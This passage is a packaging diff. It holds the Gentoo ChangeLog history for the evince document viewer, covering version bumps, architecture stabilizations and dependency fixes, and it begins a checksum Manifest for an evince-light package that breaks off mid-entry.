+evince-2.24.2.ebuild: + Bump to 2.24.2. Bug fixes and translation updates. + +*evince-2.24.1 (20 Nov 2008) + + 20 Nov 2008; Gilles Dartiguelongue +evince-2.24.1.ebuild: + Bump to 2.24.1. Bug fixes and translation updates. + + 13 Nov 2008; Brent Baude evince-2.22.2-r1.ebuild: + Marking evince-2.22.2-r1 ppc64 stable for bug 236971 + + 06 Nov 2008; Jeremy Olexa evince-2.24.0.ebuild: + minor die message wording improvement for evince-2.24.0 + +*evince-2.24.0 (11 Oct 2008) + + 11 Oct 2008; Gilles Dartiguelongue metadata.xml, + evince-2.22.2-r1.ebuild, +evince-2.24.0.ebuild: + New version for GNOME 2.24. Use multimedia keys, better session integration + and usual lot of bug fixes. Fix repoman warnings. + + 25 Sep 2008; Jeroen Roovers evince-2.22.2-r1.ebuild: + Stable for HPPA (bug #236971). + + 04 Sep 2008; Christian Faulhammer evince-2.20.1.ebuild, + evince-2.20.2.ebuild: + change dependency from virtual/tetex to virtual/tex-base + + 12 Aug 2008; Mart Raudsepp evince-2.20.1.ebuild, + -evince-2.22.0.ebuild, -evince-2.22.1.1.ebuild, evince-2.22.2-r1.ebuild: + Remove old. Remove unnecessary autotools inherit on latest + + 12 Aug 2008; Raúl Porcel evince-2.22.2-r1.ebuild: + alpha/ia64/sparc stable wrt #229709 + + 10 Aug 2008; Markus Meier evince-2.22.2-r1.ebuild: + x86 stable, bug #229709 + + 02 Aug 2008; Ulrich Mueller metadata.xml: + Add USE flag description to metadata wrt GLEP 56. + + 30 Jul 2008; Brent Baude evince-2.22.2-r1.ebuild: + Marking evince-2.22.2-r1 ppc stable for bug 229709 + + 26 Jul 2008; Olivier Crête evince-2.22.2-r1.ebuild: + Stable on amd64, bug #229709 + +*evince-2.22.2-r1 (07 Jul 2008) + + 07 Jul 2008; Daniel Gryniewicz + +files/evince-2.22.2-t1lib-fonts.patch, -evince-2.22.2.ebuild, + +evince-2.22.2-r1.ebuild: + Bump to 2.22.2-r1 + + - Fix horrible font rendering of dvi files with t1lib. Bug #158172 + + 06 Jul 2008; Peter Alfredsen evince-2.20.1.ebuild, + evince-2.20.2.ebuild: + Adjust deps wrt bug #230944 + + 01 Jul 2008; Gilles Dartiguelongue evince-2.20.1.ebuild, + evince-2.20.2.ebuild, evince-2.22.0.ebuild, evince-2.22.1.1.ebuild, + evince-2.22.2.ebuild: + add docbook-xml-dtd-4.1.2 to DEPEND, fix bug #229077. + +*evince-2.22.2 (29 May 2008) + + 29 May 2008; Daniel Gryniewicz +evince-2.22.2.ebuild: + Bump to 2.22.2 + + * Fixes warning with gtk-2.10 (Matthias Drochner) + + * Fixes crash in impress backend (Hans Petter Jansson) + + * Handle multipage tiff properly (Carlos Garcia Campos) + + 05 May 2008; Daniel Gryniewicz evince-2.22.1.1.ebuild: + Use virtual/tex-base rather than virtual/tetex; bug #219322 + + 21 Apr 2008; evince-2.22.0.ebuild, + evince-2.22.1.1.ebuild: + keyring to gnome-keyring + +*evince-2.22.1.1 (08 Apr 2008) + + 08 Apr 2008; Rémi Cardona +evince-2.22.1.1.ebuild: + Bump to 2.22.1.1, bugfix release, contains our dbus patch + + 02 Apr 2008; Daniel Gryniewicz + -files/evince-2.22.0-gtk-doc-die-die-die.patch, evince-2.22.0.ebuild: + Remove gtk-doc hack in favor of gtk-doc-am dep + +*evince-2.22.0 (27 Mar 2008) + + 27 Mar 2008; Gilles Dartiguelongue + +files/evince-2.22.0-gtk-doc-die-die-die.patch, +evince-2.22.0.ebuild: + New version for GNOME 2.22. Uses GIO, lots of bug and crash fixes. Uses + libspectre in place of ghostscript. gnome-keyring is now optional. + + 04 Feb 2008; Jeroen Roovers evince-2.20.2.ebuild: + Stable for HPPA (bug #208366). + + 03 Feb 2008; Raúl Porcel evince-2.20.2.ebuild: + alpha/ia64/sparc stable wrt #208366 + + 02 Feb 2008; Chris Gianelloni evince-2.20.2.ebuild: + Stable on amd64 wrt bug #208366. + + 01 Feb 2008; Mart Raudsepp + -files/evince-0.5.3-links.patch, -files/evince-0.6.1-freebsd.patch, + -files/evince-0.6.1-gv-limit.patch, -evince-0.5.3-r1.ebuild, + -evince-0.6.1-r3.ebuild: + Remove Gnome 2.16 and older versions + + 01 Feb 2008; Brent Baude evince-2.20.2.ebuild: + Marking evince-2.20.2 ppc64 and ppc stable for bug 208366 + + 01 Feb 2008; Christian Faulhammer evince-2.20.2.ebuild: + stable x86, bug 208366 + +*evince-2.20.2 (06 Dec 2007) + + 06 Dec 2007; Gilles Dartiguelongue +evince-2.20.2.ebuild: + bump to 2.20.2 + + 14 Nov 2007; Tobias Scherbaum + evince-2.20.1.ebuild: + ppc stable, bug #196735 + + 12 Nov 2007; Jeroen Roovers evince-2.20.1.ebuild: + Stable for HPPA (bug #196735). + + 11 Nov 2007; Raúl Porcel evince-2.20.1.ebuild: + alpha/ia64 stable wrt security #196735 + + 10 Nov 2007; Daniel Gryniewicz evince-2.20.1.ebuild: + Marked stable on amd64 for bug #196735 + + 10 Nov 2007; Ferris McCormick evince-2.20.1.ebuild: + Sparc stable --- Yet more for security Bug #196735 + + 10 Nov 2007; Christian Faulhammer evince-2.20.1.ebuild: + stable x86, security bug 196735 + + 10 Nov 2007; Markus Rothe evince-2.20.1.ebuild: + Stable on ppc64; bug #196735 + + 17 Oct 2007; Gilles Dartiguelongue + evince-0.5.3-r1.ebuild, evince-0.6.1-r3.ebuild, evince-0.8.3.ebuild, + evince-2.20.0.ebuild: + fix some QA warnings + +*evince-2.20.1 (17 Oct 2007) + + 17 Oct 2007; Gilles Dartiguelongue +evince-2.20.1.ebuild: + bump to 2.20.1, changed back WANT_AUTOMAKE to 1.9 because it fails otherwise + + 25 Sep 2007; Daniel Gryniewicz ChangeLog: + Remove dev version; prep for unmask + + 23 Sep 2007; Tom Gall + evince-0.8.3.ebuild: + stable on ppc64 + +*evince-2.20.0 (19 Sep 2007) + + 19 Sep 2007; Daniel Gryniewicz -evince-2.19.92.ebuild, + +evince-2.20.0.ebuild: + Bump to 2.20.0 + + * Forms support broken by forgotten ifdef fix (Carlos Garcia Campos) + + * Issue with making a copy and xfer to different file system (Carlos Garcia + Campos) + + * Desktop file fixes (Götz Waschk) + +*evince-2.19.92 (04 Sep 2007) + + 04 Sep 2007; Daniel Gryniewicz +evince-2.19.92.ebuild: + New evince to go with new poppler + + 28 Aug 2007; Jeroen Roovers evince-0.8.3.ebuild: + Stable for HPPA (bug #185823). + +*evince-0.9.3 (23 Aug 2007) + + 23 Aug 2007; Daniel Gryniewicz +evince-0.9.3.ebuild: + Pre-release version of evince to go with the pre-release version of poppler + + 11 Aug 2007; Andrej Kacian evince-0.8.3.ebuild: + Stable on x86, bug #185823. + + 10 Aug 2007; Daniel Gryniewicz evince-0.8.3.ebuild: + Restrict tests; they need dogtail (whatever that is). Bug #188177 + + 10 Aug 2007; Christoph Mende evince-0.8.3.ebuild: + Stable on amd64 wrt bug #185823 + + 08 Aug 2007; Raúl Porcel evince-0.8.3.ebuild: + alpha/ia64 stable wrt #185823 + + 07 Aug 2007; Tobias Scherbaum evince-0.8.3.ebuild: + Stable on ppc wrt bug #185823. + + 07 Aug 2007; Gustavo Zacarias evince-0.8.3.ebuild: + Stable on sparc wrt #185823 + + 02 Aug 2007; Michael Sterrett + evince-0.5.3-r1.ebuild, evince-0.6.1-r3.ebuild: + correct dbus deps (bug #187369) + +*evince-0.8.3 (19 Jul 2007) + + 19 Jul 2007; Gilles Dartiguelongue -evince-0.6.0.ebuild, + -evince-0.6.1.ebuild, -evince-0.6.1-r1.ebuild, -evince-0.6.1-r2.ebuild, + -evince-0.8.0.ebuild, -evince-0.8.1.ebuild, +evince-0.8.3.ebuild: + cleaning up old versions + bump to 0.8.3 + * fix compilation against poppler 0.5.4 + * freebsd patch is upstream + + 08 Jul 2007; Michael Sterrett + evince-0.5.3-r1.ebuild, evince-0.6.0.ebuild, evince-0.6.1.ebuild, + evince-0.6.1-r1.ebuild, evince-0.6.1-r2.ebuild, evince-0.6.1-r3.ebuild, + evince-0.8.0.ebuild, evince-0.8.1.ebuild: + remove reference to old, removed dbus (bug #183696) + + 16 May 2007; Roy Marples evince-0.6.1-r3.ebuild, + evince-0.8.1.ebuild: + Keyworded ~x86-fbsd, ##178471 thanks to Joe Peterson. + + 15 May 2007; Daniel Gryniewicz + +files/evince-0.6.1-freebsd.patch, +files/evince-0.8.1-freebsd.patch, + evince-0.6.1-r3.ebuild, evince-0.8.1.ebuild: + Freebsd fixes; bug #178471 + +*evince-0.8.1 (21 Apr 2007) + + 21 Apr 2007; Remi Cardona +evince-0.8.1.ebuild: + bump to 0.8.1 + + 16 Apr 2007; Daniel Gryniewicz evince-0.6.1-r3.ebuild: + add libxml2 dep; bug #172732 + + 29 Mar 2007; Markus Rothe evince-0.6.1-r3.ebuild: + Stable on ppc64; bug #156573 + +*evince-0.8.0 (27 Mar 2007) + + 27 Mar 2007; Daniel Gryniewicz + +files/evince-0.7.1-display-menu.patch, +evince-0.8.0.ebuild: + gnome 2.18.0 + + 27 Mar 2007; Tobias Scherbaum + evince-0.6.1-r3.ebuild: + ppc stable, bug #156573 + + 27 Mar 2007; Chris Gianelloni + evince-0.6.1-r3.ebuild: + Stable on alpha/amd64/ia64 wrt bug #156573. + + 27 Mar 2007; Jeroen Roovers evince-0.6.1-r3.ebuild: + Stable for HPPA (bug #156573). + + 27 Mar 2007; Gustavo Zacarias + evince-0.6.1-r3.ebuild: + Stable on sparc wrt security #156573 + + 27 Mar 2007; Christian Faulhammer + evince-0.6.1-r3.ebuild: + stable x86, security bug 156573 + +*evince-0.6.1-r3 (26 Mar 2007) + + 26 Mar 2007; Daniel Gryniewicz + +files/evince-0.6.1-gv-limit.patch, +evince-0.6.1-r3.ebuild: + Bump to 0.6.1-r3 + Add patch for bug #156573 + + 24 Mar 2007; Chris Gianelloni + evince-0.6.1-r2.ebuild: + Stable on alpha/ia64 wrt bug #171545. + + 24 Mar 2007; Markus Rothe evince-0.6.1-r2.ebuild: + Stable on ppc64; bug #171545 + + 22 Mar 2007; Steve Dibb evince-0.6.1-r2.ebuild: + amd64 stable, bug 171545 + + 21 Mar 2007; Christian Faulhammer + evince-0.6.1-r2.ebuild: + stable x86, bug 171545 + + 21 Mar 2007; Jeroen Roovers evince-0.6.1-r2.ebuild: + Stable for HPPA (bug #171545). + + 20 Mar 2007; Tobias Scherbaum + evince-0.6.1-r2.ebuild: + Stable on ppc wrt bug #171545. + + 20 Mar 2007; Ferris McCormick evince-0.6.1-r2.ebuild: + sparc stable --- Bug #171545 --- Has seemed fine for over a month. + +*evince-0.6.1-r2 (14 Feb 2007) + + 14 Feb 2007; Daniel Gryniewicz +evince-0.6.1-r2.ebuild: + Make evince use gnomeprint, rather than gtkprint; gtkprint is not ready, and + will be re-enabled in 0.7.x. bug #162151 + + 04 Feb 2007; Markus Rothe evince-0.6.1-r1.ebuild: + Stable on ppc64; bug #164978 + + 03 Feb 2007; Andrej Kacian evince-0.6.1-r1.ebuild: + Stable on x86, bug #164978. + + 03 Feb 2007; Tobias Scherbaum + evince-0.6.1-r1.ebuild: + Stable on ppc wrt bug #164978. + + 03 Feb 2007; Olivier Crête evince-0.6.1-r1.ebuild: + Stable on amd64 per bug #164978 + + 01 Feb 2007; Gustavo Zacarias + evince-0.6.1-r1.ebuild: + Stable on sparc + + 21 Jan 2007; Bryan Østergaard evince-0.6.1.ebuild: + Stable on IA64, bug 156662. + + 18 Jan 2007; Jeroen Roovers evince-0.6.1-r1.ebuild: + Stable for HPPA (bug #147751). + + 14 Jan 2007; Bryan Østergaard evince-0.6.1.ebuild: + Stable on Alpha. + + 21 Dec 2006; Markus Rothe evince-0.6.1.ebuild: + Stable on ppc64; bug #156662 + + 18 Dec 2006; Gustavo Zacarias evince-0.6.1.ebuild: + Stable on sparc + +*evince-0.6.1-r1 (17 Dec 2006) + + 17 Dec 2006; Daniel Gryniewicz + +files/evince-0.6.1-dbus-switch.patch, +evince-0.6.1-r1.ebuild: + Add actual configure switch for dbus; bug #158034 + + 17 Dec 2006; Tobias Scherbaum evince-0.6.1.ebuild: + Stable on ppc wrt bug #156662. + + 12 Dec 2006; Chris Gianelloni evince-0.6.1.ebuild: + Stable on amd64 wrt bug #156662. + + 10 Dec 2006; Andrej Kacian evince-0.6.1.ebuild: + Stable on x86, bug #156662. + + 09 Nov 2006; Doug Goldstein evince-0.5.3-r1.ebuild, + evince-0.6.0.ebuild, evince-0.6.1.ebuild: + Update D-Bus depends to new bindings + + 22 Oct 2006; Daniel Gryniewicz + -files/evince-0.4.0-display-menu.patch, -files/evince-0.4.0-no-tiff.patch, + -files/evince-0.4.0-t1lib_is_t1.patch, -evince-0.4.0-r3.ebuild, + -evince-0.5.0.ebuild, -evince-0.5.1.ebuild, -evince-0.5.4.ebuild, + -evince-0.5.5.ebuild: + Cleanup old versions + + 21 Oct 2006; Bryan Østergaard evince-0.6.0.ebuild: + Stable on ia64, bug 151835. + + 21 Oct 2006; Jeroen Roovers evince-0.6.0.ebuild: + Stable for HPPA (bug #151835). + + 20 Oct 2006; Aron Griffis evince-0.5.3-r1.ebuild: + Mark 0.5.3-r1 stable on alpha + + 19 Oct 2006; Bryan Østergaard evince-0.6.0.ebuild: + Stable on Alpha. + + 18 Oct 2006; Emanuele Giaquinta evince-0.6.0.ebuild: + Stable on ppc; bug #151835 + + 18 Oct 2006; Gustavo Zacarias evince-0.6.0.ebuild: + Stable on sparc wrt #151835 + + 18 Oct 2006; Andrej Kacian evince-0.6.0.ebuild: + Stable on x86, bug #151835. + + 18 Oct 2006; Markus Rothe evince-0.6.0.ebuild: + Stable on ppc64; bug #151835 + + 18 Oct 2006; Daniel Gryniewicz evince-0.6.0.ebuild: + Marked stable on amd64 for bug #151835 + + 18 Oct 2006; Daniel Gryniewicz +evince-0.6.1.ebuild: + New upstream version + +*evince-0.6.1 (18 Oct 2006) + + 18 Oct 2006; Daniel Gryniewicz +evince-0.6.1.ebuild: + Bump to 0.6.1 + + 06 Oct 2006; Daniel Gryniewicz evince-0.4.0-r3.ebuild, + evince-0.5.0.ebuild, evince-0.5.1.ebuild, evince-0.5.3-r1.ebuild, + evince-0.5.4.ebuild, evince-0.5.5.ebuild, evince-0.6.0.ebuild: + only 0.4.0 needs automake, so it gets a gnome-common dep. Remove autoreconf + from the rest. Bug #150115 + + 19 Sep 2006; Aron Griffis evince-0.5.3-r1.ebuild: + Mark 0.5.3-r1 stable on ia64. #139612 + + 05 Sep 2006; Daniel Gryniewicz +evince-0.6.0.ebuild: + Bump to 0.6.0 + +*evince-0.6.0 (05 Sep 2006) + + 05 Sep 2006; Daniel Gryniewicz +evince-0.6.0.ebuild: + Bump to 0.6.0 + + 16 Aug 2006; Markus Rothe evince-0.5.3-r1.ebuild: + Stable on ppc64 + +*evince-0.5.5 (08 Aug 2006) + + 08 Aug 2006; Daniel Gryniewicz +evince-0.5.5.ebuild: + New upstream 0.5.5 + + 08 Aug 2006; Daniel Gryniewicz + -files/evince-0.5.2-djvu-miniexp.patch, -evince-0.5.2.ebuild, + -evince-0.5.2-r1.ebuild, -evince-0.5.3.ebuild: + Clean up unnecessary versions + + 27 Jul 2006; Daniel Gryniewicz evince-0.5.4.ebuild: + evince can now build correctly with ptex; change to use virtual/tetex. Bug + #120156 + + 17 Jul 2006; Jeroen Roovers evince-0.5.3-r1.ebuild: + Marked stable for HPPA (bug #139612). + + 17 Jul 2006; Daniel Gryniewicz evince-0.5.3-r1.ebuild: + Marked stable on amd64 for bug #139612 + + 14 Jul 2006; Tobias Scherbaum + evince-0.5.3-r1.ebuild: + ppc stable, bug #139612 + +*evince-0.5.4 (14 Jul 2006) + + 14 Jul 2006; Daniel Gryniewicz +evince-0.5.4.ebuild: + New upstream rev + + 12 Jul 2006; Chris Gianelloni + evince-0.5.3-r1.ebuild: + Stable on x86 wrt bug #139612. + + 10 Jul 2006; Gustavo Zacarias + evince-0.5.3-r1.ebuild: + Stable on sparc wrt #139612 + +*evince-0.5.3-r1 (29 Jun 2006) + + 29 Jun 2006; Daniel Gryniewicz + +files/evince-0.5.3-links.patch, +evince-0.5.3-r1.ebuild: + Fix for bug# 134201 + + 08 Jun 2006; Joseph Jezak evince-0.5.1.ebuild: + Marked ppc stable. + + 29 May 2006; Jason Wever evince-0.5.1.ebuild: + Stable on SPARC wrt bug #132349. + + 26 May 2006; Markus Rothe evince-0.5.1.ebuild: + Stable on ppc64 + + 26 May 2006; Chris Gianelloni evince-0.5.1.ebuild: + Stable on amd64 wrt bug #132349 + + 25 May 2006; Chris Gianelloni evince-0.5.1.ebuild: + Stable on x86 wrt bug #132349. + +*evince-0.5.3 (23 May 2006) + + 23 May 2006; Daniel Gryniewicz + +files/evince-0.5.3-display-menu.patch, +evince-0.5.3.ebuild: + New version. 0.5.3 + + 05 May 2006; Tobias Scherbaum + evince-0.5.2-r1.ebuild: + Added to ~hppa, bug #125236 + +*evince-0.5.2-r1 (03 May 2006) + + 03 May 2006; Daniel Gryniewicz + +files/evince-0.5.2-djvu-miniexp.patch, evince-0.5.2.ebuild, + +evince-0.5.2-r1.ebuild: + Fix for bug #132129. Add -r1, with a patch to work with .17, and make it dep + on >= .17. Make -r0 dep on .16 + + 02 May 2006; Markus Rothe evince-0.5.2.ebuild: + Added ~ppc64 + +*evince-0.5.2 (01 May 2006) + + 01 May 2006; Daniel Gryniewicz +evince-0.5.2.ebuild: + Bump for 2.14.1 + + 22 Apr 2006; Carsten Lohrke evince-0.4.0-r3.ebuild, + evince-0.5.0.ebuild, evince-0.5.1.ebuild: + Removed PROVIDE as of bug #130746. + + 24 Mar 2006; Aron Griffis evince-0.5.0.ebuild: + Mark 0.5.0 stable on ia64 + + 10 Mar 2006; evince-0.5.1.ebuild: + Make it dep on poppler-bindings-0.5.1 per bug #124948 + +*evince-0.5.1 (03 Mar 2006) + + 03 Mar 2006; +evince-0.5.1.ebuild: + New evince bump. For gnome-2.14-rc + + 21 Feb 2006; Aron Griffis evince-0.5.0.ebuild: + Mark 0.5.0 ~alpha + + 18 Feb 2006; Aron Griffis evince-0.5.0.ebuild: + Mark 0.5.0 ~ia64 + + 07 Feb 2006; Aron Griffis evince-0.4.0-r3.ebuild: + Mark 0.4.0-r3 stable on alpha + + 03 Feb 2006; Guy Martin evince-0.4.0-r3.ebuild: + Stable on hppa. + + 27 Jan 2006; evince-0.5.0.ebuild: + Re-add support for djvu. Bug #101108 + + 22 Jan 2006; evince-0.4.0-r3.ebuild: + Marked stable on amd64 per bug #119634 + + 22 Jan 2006; Tobias Scherbaum + evince-0.4.0-r3.ebuild: + Marked ppc stable for bug #119634; Stabilize Gnome-2.12.2 + + 22 Jan 2006; Joshua Jackson evince-0.4.0-r3.ebuild: + Stable on x86 for bug #119634; Stabilize Gnome-2.12.2 + + 20 Jan 2006; Gustavo Zacarias + evince-0.4.0-r3.ebuild: + Stable on sparc wrt #119634 + +*evince-0.5.0 (20 Jan 2006) + + 20 Jan 2006; -evince-0.4.0-r1.ebuild, + -evince-0.4.0-r2.ebuild, +evince-0.5.0.ebuild: + New version of evince. Adds comicbook support, among other thigns + + 19 Jan 2006; evince-0.4.0-r3.ebuild: + Evince deps on ghostscript to process postscript files. Bug #119103 + +*evince-0.4.0-r3 (03 Jan 2006) + + 03 Jan 2006; +evince-0.4.0-r3.ebuild: + Bump evince to dep on poppler-bindings + + 26 Dec 2005; Bryan Østergaard evince-0.4.0-r2.ebuild: + Don't need explicit X deps, only uses what gtk+ requires + + 04 Nov 2005; evince-0.4.0-r2.ebuild: + Modular X deps + + 21 Oct 2005; Leonardo Boshell metadata.xml, + evince-0.4.0-r2.ebuild: + Pass --copy to libtoolize call. Pass --disable-scrollkeeper instead of using + gnome2_omf_fix. Move gnome-doc-utils from RDEPEND to DEPEND. Added gconf and + libglade dependencies. Set G2CONF in pkg_setup() instead of the global + scope. Misc clean-ups. Added gnome herd to metadata.xml. + + 17 Oct 2005; +files/evince-0.4.0-no-tiff.patch, + evince-0.4.0-r2.ebuild: + Make tiff actually optional + + 17 Oct 2005; John N. Laliberte + evince-0.4.0-r2.ebuild: + fix message when poppler needs gtk. fixes #109571 + + 14 Oct 2005; evince-0.4.0-r2.ebuild: + Needs poppler built with gtk. bug #109029 + + 20 Sep 2005; Gustavo Zacarias + evince-0.4.0-r2.ebuild: + Keyworded ~sparc + + 14 Sep 2005; -files/evince-0.3.1-64bit.patch, + -files/evince-0.3.1-t1lib_is_t1.patch, + -files/evince-0.3.2-t1lib_is_t1.patch, -evince-0.3.1.ebuild, + -evince-0.3.2.ebuild: + Remove old evince versions + +*evince-0.4.0-r2 (13 Sep 2005) + + 13 Sep 2005; +evince-0.4.0-r2.ebuild: + Add 'nautilus' use flag that enables the nautilus properties page for + filetypes supported by evince + +*evince-0.4.0-r1 (13 Sep 2005) + + 13 Sep 2005; +files/evince-0.4.0-display-menu.patch, + +evince-0.4.0-r1.ebuild: + Make the menu entry for evince not hidden. Bug #104917 + +*evince-0.4.0 (30 Aug 2005) + + 30 Aug 2005; +files/evince-0.4.0-t1lib_is_t1.patch, + +evince-0.4.0.ebuild: + Add evince 0.4.0. Two things are missing from this ebuild: the nautilus + plugin (was cauing -fPIC errors), and djvu support (still waiting on a + revbump for that). Will revbump when those are fixed. + + 04 Aug 2005; evince-0.3.2.ebuild: + Remove djvu support until new version of djvu is released. bug #101108 + +*evince-0.3.2 (27 Jun 2005) + + 27 Jun 2005; +files/evince-0.3.2-t1lib_is_t1.patch, + +evince-0.3.2.ebuild: + revbump to 0.3.2 + + 22 Jun 2005; evince-0.3.1.ebuild: + Updated libgnomeui and libgnomeprintui deps + + 18 Jun 2005; +files/evince-0.3.1-64bit.patch, + evince-0.3.1.ebuild: + Clean up dependency list, add patch to make dvi work on amd64, add ~amd64 + + 18 Jun 2005; David Holm evince-0.3.1.ebuild: + Added to ~ppc. + + 17 Jun 2005; evince-0.3.1.ebuild: + minimum poppeler is 0.3.2 + +*evince-0.3.1 (17 Jun 2005) + + 17 Jun 2005; +files/evince-0.3.1-t1lib_is_t1.patch, + +evince-0.3.1.ebuild: + Initial version of evince in portage. Thanks to numerous people in + bug #78956 for the initial ebuild and comments. + diff --git a/app-text/evince-light/Manifest b/app-text/evince-light/Manifest new file mode 100644 index 00000000..5000e9a2 --- /dev/null +++ b/app-text/evince-light/Manifest @@ -0,0 +1,40 @@ +-----BEGIN PGP SIGNED MESSAGE----- +Hash: SHA256 + +AUX evince-0.7.1-display-menu.patch 476 SHA256 1f450dfe57ef3325cb4642141d76fc8e7bf837c221d81a2593214913af058f4d SHA512 d9330d35674a7796738222a9bd29944491a756c4bf731d1b0e0030fb77b6d9f63f79e6df29dfe89dd1055246dfca827ccbf840f829ed4980e01e9765c24857fe WHIRLPOOL 8ae8da53bfae6124fa3e5ff739f5f398cb3980183d44df8f85ede28f1279f74be29455fe050f7171e63a463797d7be7b84b7158764481d2375b581de5b1d5d1d +AUX evince-2.32.0-create_thumbnail_frame-null.patch 853 SHA256 3d6472d77e07602cca0e5834a3c132702facbaac1ae684fa86fa72893a7a0833 SHA512 fc132d48e24f70a48bc9a69ea511cbf28dfe4db502285ad04fb9f67f1b1387b3d1cbf0142ff4e8426dcb346bb6ee90b1492d0a1f5feb821687808dbba09d2177 WHIRLPOOL dbcf1b4df02f7995a19d0b7264ef5a5ad399116879dced6762a1a1b1e5439193ef59d8fb3557b4e4e631ff0f1523b8d1544dae9273226fc1a1d2b5804a3a542f +AUX evince-2.32.0-desktop-categories.patch 709 SHA256 d95489555d5b48b4aba28b41265c2cb152dd5d5163e38df3e3b5dfbfbebcab53 SHA512 cfc5e697ed1cedd0ed160a060d9d4497bc58802a1b73ca7e53411489280a1970691f96a70784715c21c248526facf15f4fc473a1800f70f7f792d98ed7c3fc08 WHIRLPOOL 3694d5d937f970b74ad4a45e53ded2ecc5c5a0c3f21818a7730c8f4fd3f12c001c0556157e151d1da617d64edeb9b72eb8f08fadbad4554be580decff5ddb09e +AUX evince-2.32.0-dvi-CVEs.patch 3386 SHA256 49d1ed8adc734a005d4d8fdc1912bb115d97f734071d64bcae0aae60f2b5626a SHA512 c2a3787e3bb4c680d2ebb999c93e2f2917bcc85aaa3122676e74ab6fe3367cb732752a8aee089fb870a84eab17b8fcff07a647d9680d64029441d30a694dcd2d WHIRLPOOL a2f9ab4cda23b76684d5fbeff38422d3d41eff12553c7f40d1103b993cceede7f3ffe2ab2faf5f63314b75a7fb32abd1f6b294d36ee06194e0f5bab16164b847 +AUX evince-2.32.0-dvi-security.patch 816 SHA256 86e1e3ae2af8471896594b063726d6e7390169c443864b11797b7e3b937caea8 SHA512 060f542f1489de75d14d8aa4fecfbea77764c45b3f1047113795bdbfe21102e8fc3a55ea69d5de706f1c14ff8d89d439f34865b4ca295dcd9fd637c3a687585e WHIRLPOOL f3dc731b0dde43247969dfacbef2b48a42a94ca17fa899b4d342e4c7645c7ca3ce5046962e6af692c2d42dca9217a97eaaffed60f272c014570c32f6810c8448 +AUX evince-2.32.0-gold.patch 445 SHA256 5bfa37ed69f0754b8b9e9475c4f71e8b0a7b3b32925d72fb2e64f6efd69d693c SHA512 18720a1d0e81487832e7b6713d495094c713c922034c6ceb75caa7b8999ee46edc7fdb08f9fbc7382e4ee4f0384789a9e670c306984b881c234bc243e646899b WHIRLPOOL 9518a3a2f41f7ca62642683d584e92f350c9e1189d7b4e51b1bc1849f2505bd932a70d9f8b0831a92f1f8b890f2a9a70176b0d2d6af90fa2562cf47b828873fb +AUX evince-2.32.0-libdocument-segfault.patch 1388 SHA256 e9889a7920a8e6bd16b168333d120dfff1a2a2fcfed559d0d2f3678d9d234e74 SHA512 54f63343c6dea0a50eecdc18a9bf277ee573c23ce8a6f9e6ed6ab65480e088db481f212ada61bb32e41755d6a4821702106ba990475d2a639676ff0a94508138 WHIRLPOOL b851ad96e9b26b9c9e70cd82d51476658c688aba9a24cd9bd279046b03ee3601cd72ed4b56867f53a69933c293b36d3ea696aa33e825624e6e04717a6a2da19e +AUX evince-2.32.0-libview-crash.patch 1351 SHA256 f549f4b8bfa8078764d3fb11c3b8e3d9e9c7bc59ebc7e96ef9d6e63c35d3d35c SHA512 95645dd2016b7085eee3be234f5fa2d0bd98f95a8e4c130dc8086e2d95bcb779e7378696924bb2dc9aafd4cbff8efcc087a6ed176e1a3af60b1f3f66083b8478 WHIRLPOOL 1de448f247bda8319c0b62621a647fe8a02985e42221c354c2abc8f63c3511038168c780ff3fa7ff83eab33d83567f5f95835d6a7d14d0c18034b97814111475 +AUX evince-2.32.0-pk-fonts.patch 1005 SHA256 a8eba65d0a00fae77d85fec202b60762afa82a71695119a66f24a4ab0974fc82 SHA512 36af3365aade4cfbce8852f83589ea3106b7f73d6d11035718ac0fe401d8060e9c307ff90c80463b6d5385caa453adde1a8d2feab78d1171064fc97df4e6924b WHIRLPOOL 33fe99426593663bcd66fe757a45824ecab40c162b3e29f766d5c533f36ec7a6c52694c5cc9d8d97f3ad81a84b9f0dff0c10cf8a7898da07497d2071ddcdd8cc +AUX evince-2.32.0-stop-spinner.patch 2370 SHA256 140395d3c667d9af422054ed02d2b971c5668e52cafac86b6496ecd47f33ac97 SHA512 ac3e523a9238bb8688070b8d3b680f5bafdca36b650207ee32ea28bb944d609fd78abcaf592d722d9bba77bf39921187ce25b1b1349aa5741ca247408a04c0a5 WHIRLPOOL 077618b301125f87e2f198680b537d2f6125d2ca39f5774d3d6c652816d789acb9e778f3ca058bc4154ae8864d77e1ec029ed0725ae2400c63a96e18d03d1831 +AUX evince-2.32.0-update-poppler.patch 1890 SHA256 2990c789c8cfd50e46f4dfa7a2406499b3ee26f4db9840c8b9a6e1dee40f61f4 SHA512 3dc4880529307b80e30752b6f63d883299ff2e78f5563072f77edd78c2b10ce5145203f61b2fd4985b1481b44ee0270b64a133d78e74b31810bc06580fe12e4d WHIRLPOOL 09be672d1f77e01f9636f717ff5916c6798ee01c4169c459a96017807a75a6e74877e107ee27263f8a2fae5ad9a782ecad88d86266b3c4d651d2ce8b137627cd +AUX evince-2.32.0-use-popup.patch 766 SHA256 c53276beb4f975a9ed47fe35dd2756458d9e5e334234aeac2ff4d47ad790d9ea SHA512 8fa96764d9e1bfc21f21d5f6c10018eddfb60456e780dedd667136dda464e606dfdf454de2906e3956e9b5d26efb66ceddff628d567498b61f1d7961083fb208 WHIRLPOOL 120056b6a85492a8eba7193ee9e3c4067843882d1f9581fdfca1d5bbebe681c7255e30855e4a5390b2e41cc0f2defd841e4a5c5ea238ef5fdb6a2d5f32bfe0ff +AUX evince-3.2.1-glib-gold.patch 1807 SHA256 df7931c121e32f18020ad492aa5ab83fdca769572b5ccbd311b83288409b5402 SHA512 36d5f75f70286c8e5f8964d5020df32b36859b5e775583c3752729aa66324814cdb87ed32e0b71c719088dff587bc57179f10f7aa1a509f0f8c8cc13b2e8342d WHIRLPOOL faeb52ea38d89a22ad6b8d38fef107ddd2c66e9e7522e481b202ef9e591edefca9e9c669df9d73ea59e727211b1ab819f95d5a4b17e41b86e6f90156d00e8ab0 +AUX evince-3.2.1-libgxps-0.2.patch 1317 SHA256 6e98bf5625fd471913e7b461838a63d941ba04e73fe2c2e16b913c6730b8ddf0 SHA512 786c1c2ec03a2f9b0ced8d6eae472e4defc454dfdf51478991b401f3433fa0cf55c7053fa8d8074a7897753031d35c9dbf7d75e63e75c354cb8bb37b7ca0749b WHIRLPOOL 3cd8ae61e540ef876db0ca55e5b42b2d6bed91fa6f41aafa191a523a4a5d265ade7c8bc4ac99a710f5e7305368a367d2cc2381c8ece067cee70fdc7438f2df41 +AUX evince-3.4.0-glib-gold.patch 2339 SHA256 